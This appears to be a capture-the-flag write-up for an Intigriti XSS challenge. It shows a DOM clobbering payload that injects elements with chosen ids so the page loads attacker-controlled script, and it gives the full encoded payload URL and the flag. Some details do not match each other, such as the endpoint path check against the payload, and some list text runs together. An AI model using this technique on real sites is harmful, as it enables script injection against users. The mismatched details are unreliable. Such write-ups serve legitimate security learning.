We are given a web application called “Pray For Nepal”. It has a search feature that takes a person parameter and shows a profile.
The goal is to trigger the page’s own logic to fetch /reveal.php and display the flag.
The page has a JavaScript block at the bottom that runs on every page load. It looks for two specific DOM elements:
var marker = document.getElementById('record-anchor');
var latch = document.getElementById('archive-latch');
if (!marker || !latch || latch.getAttribute('data-key') !== 'river-lantern') return;
var endpoint = marker.getAttribute('data-index');
if (typeof endpoint !== 'string' || endpoint.indexOf('') !== 0) return;
endpoint = decodeURIComponent(endpoint);
if (endpoint !== 'echo.php?channel=echo&listener=alert(document.domain)//') return;
var loader = document.createElement('script');
loader.src = endpoint;
document.head.appendChild(loader);
This is a DOM Clobbering Script Gadget. The page is looking for specific HTML elements:
An element with id="record-anchor" and a data-index attribute
An element with id="archive-latch" and a data-key attribute equal to river-lantern
The person parameter is reflected into the DOM via innerHTML:
var note = new URLSearchParams(location.search).get('person') || '';
holder.innerHTML = String(note);
The sanitizer removes <script>, <iframe>, <object>, <embed>, and any attribute starting with on.
It does not remove <div>, <a>, id, or data-* attributes.
Array.prototype.forEach.call(holder.content.querySelectorAll('script,iframe,object,embed'), function (node) {
node.remove();
});
Array.prototype.forEach.call(holder.content.querySelectorAll('*'), function (node) {
Array.prototype.forEach.call(Array.from(node.attributes), function (attribute) {
if (/^on/i.test(attribute.name)) node.removeAttribute(attribute.name);
});"
The /echo.php endpoint requires a specific key to return the payload. After testing, we found the only value that works is signal. When we send:
GET /echo.php?channel=echo&listener=alert(document.domain)//
The server responds with:
alert(document.domain)//({"signal":"received"});
This is the JavaScript we need. The alert(document.domain) triggers the page’s overridden window.alert, which then fetches /reveal.php and gets the flag.
<div> has id="archive-latch" and data-key="river-lantern".<a> tag has id="record-anchor" and data-index="/echo.php?channel=echo&listener=alert(document.domain)//"./echo.php as a script.alert(document.domain)//({"signal":"received"});.window.alert./reveal.php and displays the flag.After executing the payload, the blue box displays the flag:
https://challenge-brp.challenges.intigriti.io/challenge.php?person=%3Cdiv%20id%3D%22archive-latch%22%20data-key%3D%22river-lantern%22%3E%3Ca%20id%3D%22record-anchor%22%20data-index%3D%22%2Fecho.php%3Fchannel%3Decho%26listener%3Dalert(document.domain)%2F%2F%22%3Esignal%3C%2Fa%3E%3C%2Fdiv%3E
person parameter is reflected into innerHTML without proper sanitization.#record-anchor and #archive-latch.data-* attributes./echo.php?channel=echo&listener=alert(document.domain)//.alert(document.domain)//({"signal":"received"});.window.alert./reveal.php and displays the flag.
Flag: INTIGRITI{f2cb05a5-5cc1-4d1d-b7cd-084306cbd5a0}